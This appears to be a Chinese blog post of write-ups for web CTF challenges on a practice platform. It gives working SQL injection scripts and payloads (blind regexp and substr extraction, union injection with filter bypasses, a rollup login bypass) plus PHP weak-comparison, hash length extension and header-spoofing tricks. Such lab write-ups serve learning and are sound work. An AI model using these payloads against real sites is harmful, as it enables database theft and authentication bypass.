实验吧web

前言

最近把bugku的题目做的差不多了,发现自己还是菜的要死(扎心..),所以决定再做一做实验吧的题目

后台登录

打开网页后查看元素发现sql逻辑语句

1
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";

这个不知道密码,此处思路是md5()函数返回16进制字符串,然后16进制字符串会和SQL语句拼接,如果能够凑出一个password的字符串为 ' or 'a 这样的内容的话,不就可以绕过了,那么去哪找这样的字符串呢,一看题目url,看到了 ffifdyop ,直接提交一下这个东西,居然正好就是可以。

加了料的报错注入

本题一开始我以为是报错注入,结果才知道是个盲注,题目过滤了很多东西,比如union,substr,=等,所以尝试正则注入,这也是我第一次写这个方面脚本,可能是网速的原因,注入非常慢,这里就只写一下其中的一个payload,注意:正则表达式需要对特殊字符添加转义才可以。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import string
import requests


keys = string.ascii_lowercase + r'!_{}@~,' + string.digits
flag = ''
flag_yes = 'You are our member'
url = 'http://ctf5.shiyanbar.com/web/baocuo/index.php'
payload = "' or (select group_concat(column_name) from information_schema.tables where !(table_schema <> database())) regexp '^{}' and 2>'1"
data = {'username':'aa','password':payload}

for i in range(15):
for item in keys:
tmp = item
data['password'] = payload.format(flag + tmp)
res = requests.post(url,data=data).text
if flag_yes in res:
flag += tmp
print(flag)
break
print(i)

print('database:',flag)

认真一点!

这题看了别人的wp,确实6啊,自己的注入还是太菜鸡了

直接id=0或id=1发现页面回显不同,应该是盲注,再输入id=1aaaaaa,发现也可以回显,于是可以利用这个来测试过滤了,输入id=1or,会发现被过滤,继续用相同方法测试发现
and,空格,^,union,substr,逗号,%等许多都被过滤了,但是发现引号没有被过滤,可以继续测试尝试闭合id=0'%0aoorr%0a'or'='*,这说明or是被当做空格处理一次这样的方式过滤的,之前也试过/**/但是没有用,才使用%0a绕过空格过滤,接下来考试考虑盲注,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import string
import requests
from urllib import parse

keys = string.ascii_lowercase + string.digits + r'!_{}@~.'
flag = ''
flag_yes = 'You are in'
url = r'http://ctf5.shiyanbar.com/web/earnest/index.php'
payload = "0'%0aoorr%0a((select%0agroup_concat(table_name%0aseparatoorr%0a'@')%0afrom%0ainfoorrmation_schema.tables%0awhere%0atable_schema=database())%0aregexp%0a" + "'{}$')" + "%0aoorr%0a'b'='a"

def blind_inje(payload):
flag = ''
data = {'id':payload}
ok = True
while ok:
for item in keys:
data['id'] = parse.unquote(payload.format(item + flag))
res = requests.post(url,data=data).text
# print(payload.format(item + flag))
if flag_yes in res:
flag = item + flag
print(flag)
break
if item == '.':
ok = False
print('[+]:',flag)
# blind_inje(payload)
# table_name:fiag@users

# payload1 = "0'%0aoorr%0a((select%0agroup_concat(column_name%0aseparatoorr%0a'@')%0afrom%0ainfoorrmation_schema.columns%0awhere%0atable_name='fiag')%0aregexp%0a" + "'{}$')" + "%0aoorr%0a'b'='a"
# blind_inje(payload1)
# column_name:fl.4g或者fl$4g

payload2 = "0'%0aoorr%0a((select%0agroup_concat(fl$4g)%0afrom%0afiag)%0aregexp%0a'{}$')%0aoorr%0a'b'='a"
blind_inje(payload2)

# flag:flag{haha~you.win!}注意点号只是一个通配符,所以这个点究竟是那个字符得多试几次
# flag:flag{haha~you win!}

NSCTF web200

题目给出了加密代码,直接逆向跑一遍就好了

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
$str = 'a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
$str = base64_decode(strrev(str_rot13($str)));
$flag = '';
for($i=0;$i<strlen($str);$i++){
$_c = substr($str, $i, 1);
$a = ord($_c);
$b = chr($a-1);
$flag = $flag.$b;
}
echo strrev($flag);
?>

登录一下好吗

先随便输入信息登录,页面会显示你的登录用户名和密码,需要注意的是页面返回的是处理之后的数据,所以可以据此判断哪些字符遭到了过滤,比如 uesrname=admin' or 1=1,前端回显就没有了or,说明or被过滤,剩下的就不说了,本题可以使用万能密码,payload

1
username='='&password='='

那么在数据库中就变成了 select * from users where username=''='' and password=''='' ,所以就成了select * from users where 1 and 1 注意他逻辑运算的时候是一次从前往后运算的。

天下武功唯快不破

看题目描述可知这题考察脚本编写,因为他要求你立即在限定时间内提交返回的base64解码的值,如果手工操作速度肯定来不及,所以直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import base64

url = 'http://ctf5.shiyanbar.com/web/10/10.php'

response = requests.get(url).headers['FLAG']

flag = base64.b64decode(response)

flag = flag.decode('utf-8')
flag = flag.split(':')
flag = flag[1]

data = {'key':flag}

res = requests.post(url,data=data).text

print(res)

可以得到flag

让我进去

修改cookie里的source的值为1可以看到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!
$username = $_POST["username"];
$password = $_POST["password"];
if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
if (empty($_COOKIE["source"])) {
setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here
}
}

代码逻辑要求username=admin而password不等于admin,然后cookie里面的getmein的MD5值与$secret+username+password的值拼接取MD5相等即可绕过验证,这里需要用到hash长度扩展攻击,具体原理可以参看网上其他文章,这里推荐一个工具Python包hashpump,我是在linux下使用的

payload

简单的SQL注入3

题目虽然说的是报错注入,但是确保报错注入的函数给过滤完了,所以题目实际上是个盲注,直接盲注就可以了,上一波脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import string

url = 'http://ctf5.shiyanbar.com/web/index_3.php'
payload = "?id=0' or (substr(database(),{},1)='{}')%23" # database:web1
words = string.ascii_lowercase + string.digits + '{}_!~@%^&*-'
flag_yes = 'Hello'
flag = ''
payload1 = "?id=0' or (substr((select group_concat(table_name separator '@') from information_schema.tables where table_schema=database()),{},1)='{}')%23"
# table_name: flag@web1
payload2 = "?id=0' or (substr((select group_concat(flag separator '@') from information_schema.columns where table_name='flag'),{},1)='{}')%23"
# column_name = flag@id
payload3 = "?id=0' or (substr((select group_concat(flag separator '@') from flag),{},1)='{}')%23"
for i in range(8,30):
for item in words:
res = requests.get(url + payload3.format(str(i),item)).text
if flag_yes in res:
flag += item
print(flag)
break
if item == '-':
print('end')
# flag{y0u_@r3_5o_damn_90od} 大小写可能有问题

本题没有过滤其他任何东西,所以其实使用sqlmap等工具更为简单,此处贴出脚本这是为了方便大家了解其中的原理。

简单的SQL注入

线简单测试一下 id=1' 页面回显报错,尝试报错注入,可以得到数据库名为 web1 ,在尝试一下过滤了那些字符没回发现过滤了许多字符 from , where ,
group_concat , order , union ,这里有许多字符过滤时另加了一个空格,很恶心。

最后用报错注入老是有问题,后来决定换union试一下

1
?id=0' uunion nion selselect ect group_congroup_concatcat(table_name) frfrom om information_schema.tables whwhere ere table_sctable_schemahema='web1

可知表名flag,web_1 ,

1
?id=0' uunion nion selselect ect group_congroup_concatcat(colucolumn_namemn_name) frfrom om informinformatiion_schemaation_schema.columns whwhere ere table_name='flag

结果返回权限不够

SELECT command denied to user ‘web1’@’localhost’ for table ‘columns’

又看到题目说获取flag值,猜测列名应该是flag,

最终payload

1
?id=0' uunion nion selselect ect flag frfrom om flag whwhere ere 'a'='a

简单的SQL注入2

1
?id=1'%23

可以正常回显,加空格则不可以,说明过滤了空格,后面测试发现还过滤了括号。空格的绕过可以用/**/绕过,括号的话本题返回的结果数为所有结果,所以其实并不需要括号

1
2
3
?id=-1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables%23
?id=-1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag'%23
?id=-1'/**/union/**/select/**/flag/**/from/**/flag%23

这个看起来有点简单

很常规的一套操作

1
http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

后面的省略

因缺思汀的绕过

查看元素即可得到源码,这是基础,源码位置在 source.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "姘村彲杞借垷锛屼害鍙禌鑹囷紒";
exit();
}
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "浜﹀彲璧涜墖锛�";
}
}else{
print "涓€棰楄禌鑹囷紒";
}
mysql_close($con);
?>

关键代码如下:

1
2
3
4
5
6
7
8
9
10
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "浜﹀彲璧涜墖锛�";
}
}

第一道绕过要求必须返回结果切值返回一行结果,可以考虑limit,由于逗号也被过滤了,故可以使用offset来控制返回的结果个数,例如:

1
select * from users where username='' or 1=1 limit 1 offset 0

但是这里第二道过滤要求提交的密码和数据库中的对应的密码相同,这个就困难了,因为我们并不知道数据库中的pwd字段值,所以这个时候看了别的大佬想到了rollup,说来惭愧,这个我之前学习SQL的时候还专门看过,结果在这题却没有想到,哎,真的是菜鸡,为什么可以用rollup原理可以在我的博客中《SQL学习笔记三》中找到,原理就是使用rollup子句会多产生一个汇总行,如果我们没有指定聚合函数,那么它的值就会是NULL,rollup子句是和group by子句一起使用的,只会在group指定的列中产生汇总行,那么就可尝试构造payload了

1
uname=uname=' or 1=1 group by pwd with rollup limit 1 offset 2#&pwd=

这里通过更改offset后面的数字值来使数据库返回有NULL的那一行即可,至于pwd值可以利用PHP弱比较,空字符与NULL相比较会返回true,所以我们pwd不传参即可是比较返回true。

注意:这题用的rollup子句我在自己的数据库上试了之后发现不行,原因在于sql_mode的设置,查看一下数据库的该值

Variable_name | Value
sql_mode | ONLY_FULL_GROUP_BY,STRICT_ALL_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER

默认会设置有 ONLY_FULL_GROUP_BY这个模式,此时group by子句中必须包含所查询的所有列,具体的信息可以查看我的之前那篇博客,这是默认开启的,而此题目该模式应该是关闭的,运行命令

1
set GLOBAL sql_mode='TRICT_ALL_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER'

如此即可以在自己的数据库上实现相同的效果。

天网管理系统

查看元素,发现语句

1
$test=$_GET['username']; $test=md5($test); if($test=='0')

可知是利用md5弱比较,

故提交username为 s878926199a ,即可得到下一个页面地址,得到如下语句

1
2
3
4
5
6
$unserialize_str = $_POST['password']; 
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???') {
print_r($flag);
}
伟大的科学家php方言道:成也布尔,败也布尔。 回去吧骚年

看代码可知是简单的反序列化的应用,但是比较坑的是这儿的user和pass的值是布尔true,因为题目提示了成也布尔,败也布尔(23333)

1
2
3
4
$a['user'] = true;
$a['pass'] = true;
$b = serialize($a);
print($b);

提交就可以了。

拐弯抹角

代码审计,就是绕过的题目的过来吧就好了

1
http://ctf5.shiyanbar.com/indirection\index.php/index.php

关键点就是还是利用\来替换/,尽管题目限制了\,但是在此处并没有受到限制

Forms

查看元素,发现一段代码

1
<input name="showsource" value="0" type="hidden">

直接修改值为1即可查看源代码,然后一波简单操作就得到flag

忘记密码了

先随便输入个邮箱之后页面会返回跳转链接 step2.php?email=youmail@mail.com&check=??????? ,访问发现页面会自动跳转到step1.php,抓包看一下发现关键点

1
2
3
4
5
6
7
<form action="submit.php" method="GET">
<h1>找回密码step2</h1>
email:<input name="emailAddress" type="text" <br />
value="youmail@mail.com" disable="true"/></br>
token:<input name="token" type="text" /></br>
<input type="submit" value="提交">
</form>

访问submit.php页面,提示不是admin,在查看抓包内容

1
2
<meta name="admin" content="admin@simplexue.com" />
<meta name="editor" content="Vim" />

发现是vim编辑器,那么可能是备份文件泄露,访问 .submit.php.swp得到源代码,核心过滤如下

1
2
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');

这个用0e即可绕过,剩下的就是admin的邮箱,前面有一段内容 content="admin@simplexue.com" 猜测可能就是admin邮箱,提交一下果然可以

1
http://ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin@simplexue.com&token=0e00000000

once more

很简单,ereg()函数截断,只在PHP5中才有,注意要在地址栏中提交因为在题目给的输入框中提交会再次url编码

1
1e8%00*-*

Guess next session

1
2
3
4
5
6
7
8
9
10
11
<?php
session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
}

mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>

题目最后一行给出的应该是密码的生成逻辑,显然是不可能构造出来的,那么我们可以通过修改session(删除掉对应的sessionid)使 $_SESSION['password'] 为空,那么我们提交一个空的密码那么在验证时就会有 ''=='' 为true,即可验证通过

FALSE

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
}
?>

sha1数组绕过即可

1
?name[]=2&password[]=1

程序逻辑问题

查看元素可以看到有个 index.txt ,访问以下得到源码,这里只给出部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********", "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];

if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}

分析题目逻辑,先是将输入的密码值md5变换一下,在数据中查询与用户名相等的用户名并提取结果,然后用返回结果对应的密码字段和刚昂MD5变换后的字段比较,如果相等则成功返回flag,我刚开始想思路放在strcasecmp()函数上,思路并不对。这题的突破口在于sql语句,我们可以尝试sql注入,尝试绕过这个user认证字段,即user字段提交

1
' and 0=1 union select 'c4ca4238a0b923820dcc509a6f75849b'#

那么此时数据库返回的$row[pw]就是输入的这段md5值(1的md5值),我们只需要在密码字段提交1即可绕过了,最终payload

1
user=' and 0=1 union select 'c4ca4238a0b923820dcc509a6f75849b'#&pass=1

PHP大法

url二次编码绕过

1
?id=%2568%2561%2563%256b%2565%2572%2544%254a

貌似有点难

简单的x-forwarded-for修改即可

看起来有点难

先是随便在admin字段尝试(因为admin字段有回显),当输入 admin' and 1=1# 时返回“登录失败,错误的用户名和密码”,而如果输入 admin' and 1=2# 时,则返回“数据库连接错误”!!,所以这儿是一处注入点

判断数据库长度 admin' and length(database())=4# 可知数据库长度为4,接下来爆库名 ?admin=admin' and substr(database(),1,3)='tes'%23&pass=12456&action=login ,数据库名是 test

盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and "
dic = ',1234567890()qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_@'
# payload = "substr((Select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}'%23&pass=12456&action=login"
yes = '错误'
length = 1
table_name = '' # admin
column_name = '' # username,password
# payload = "substr((Select group_concat(column_name) from information_schema.columns where table_name='admin'),{},1)='{}'%23&pass=12456&action=login"
payload = "substr((Select group_concat(username,password) from admin),{},1)='{}'%23&pass=12456&action=login"
while(True):
for i in dic:
res = requests.get(url + payload.format(str(length),i)).text.encode('latin-1').decode('gb2312')
if yes in res:
# table_name += i
column_name += i
length += 1
print(column_name)
break
if i == '@':
print('aaaaaaaaaaaaaaaaaaaaaa')
# admin,idnuenna

猫抓老鼠

脑洞题,注意题目响应头 Content-Row: MTUyODYyMjkxMQ== 直接把这个内容提交验证即可。。

头有点大

打开后看到有如下要求

You don’t have permission to access / on this server.
Please make sure you have installed .net framework 9.9!
Make sure you are in the region of England and browsing this site with Internet Explorer

第一个本题好像实际上并没有限制,第二个可以通过修改user-agent字段,修改为

1
: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 9.9; .NET CLR 3.5.30729; rv:11.0) like Geckog

第三个要求来自英国,可以通过修改accept-language字段的值

1
en-gb;q=0.8
-------------本文结束感谢您的阅读-------------
您今天怎么辣么迷人!